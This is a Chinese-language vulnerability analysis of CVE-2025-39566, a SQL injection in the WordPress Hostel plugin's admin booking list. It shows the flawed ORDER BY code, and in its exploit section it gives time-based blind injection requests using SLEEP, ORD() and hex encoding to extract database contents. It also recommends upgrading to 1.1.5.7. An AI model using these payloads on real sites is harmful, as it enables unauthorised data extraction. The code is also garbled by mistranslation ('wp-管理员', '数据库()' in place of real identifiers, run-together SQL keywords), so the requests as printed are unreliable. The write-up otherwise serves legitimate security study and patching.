CVE-2025-39566sql注入漏洞

admin 2026-01-30 18:23:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析WordPressHostel插件CVE-2025-39566SQL注入漏洞。漏洞源于1.1.5.6及以下版本未对GET参数有效过滤,直接拼接至SQL查询。sanitize_text_field无法防御SQL注入,攻击者需管理员权限,通过ORD或十六进制编码绕过引号限制实施盲注。建议升级至1.1.5.7版本,并严格区分不同上下文的输入验证机制。 综合评分: 86 文章分类: 漏洞分析,WEB安全,代码审计,渗透测试,漏洞POC


}}

调试

·有问题的功能位于预订管理器中,因此在管理员界面中导航到 Manage Bookings 子菜单。

·在默认分支之前有一个注释 // list bookings —— 表明此代码处理列出和排序预订。

·打开你的调试器:

o点击 使用调试器运行。

o在包含漏洞代码的 switch 分支以及分配漏洞值的具体行设置断点。

·当你点击预订表中的列标题时,观察:

o调试器步入 switch。

o使用单步跳过到达 default 分支。

o继续单步跳过并检查 Variables > Locals 中的变量。这些变量组合起来形成下面的 SQL 查询。

组合变量后,完整的查询如下所示:

SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM wp_hostel_bookings tB JOIN wp_hostel_rooms tR ON tR.id= tB.room_id WHERE is_static=0AND tB.id=… ORDERBY tB.amount_paid ASC|DESC LIMIT…

值得注意的是,$orderby 变量被赋值为:

if(!empty($_GET[‘ob’])) {     $orderby=”ORDER BY “.sanitize_text_field($_GET[‘ob’]) .’ ‘.$dir; }

⚠️ 此处的问题:

·ORDER BY 之后的部分使用了 sanitize_text_field()。

·该函数仅清理 HTML,并未验证或过滤输入以确保其在 SQL 上下文中的安全性。

·因此,ob 参数(由用户提供)可能被滥用以直接注入 SQL。

漏洞利用

检测 SQL 注入

使用 BurpSuite 的请求:

GET /wp-管理员/管理员.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1

我们用逗号分隔 ORDER BY 子句,因为它接受多列值。

结果:响应时间延迟 → SQL注入 成功。

从数据库转储数据

使用 ORD() 绕过 ‘:

要转储数据库数据,我们需要提取字符,例如数据库名称的第一个字符。

由于 sanitize_text_field() 移除了单引号 (‘),我们不能使用依赖 ‘ 的有效载荷。相反,使用 ORD() 来比较字符的 ASCII 码:

GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(数据库(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1

绕过成功 → 我们可以提取数据库名称。

使用十六进制编码绕过 ‘ (替代方法)

除了 ORD(),我们还可以使用十六进制编码来绕过:

GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1

绕过成功 → 数据库名称可以被提取。

结论

WordPress Hostel 插件(1.1.5.7 之前的版本)中的漏洞 CVE-2025-39566 源于将用户提供的输入直接插入 SQL 查询而缺乏足够的防护措施,导致了 SQL注入。

关键要点:

·sanitize_text_field() ≠ 针对 SQL注入 的保护

·清楚地区分针对 HTML 上下文的输入清理和针对 SQL 上下文的验证/清理

参考资料

SQL注入 备忘单 – PortSwigger

WordPress Hostel 插件 <= 1.1.5.6 存在 SQL注入 漏洞 – patchstack

更多实战内容尽在星球:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-39566 sql注入漏洞》

评论:0   参与:  0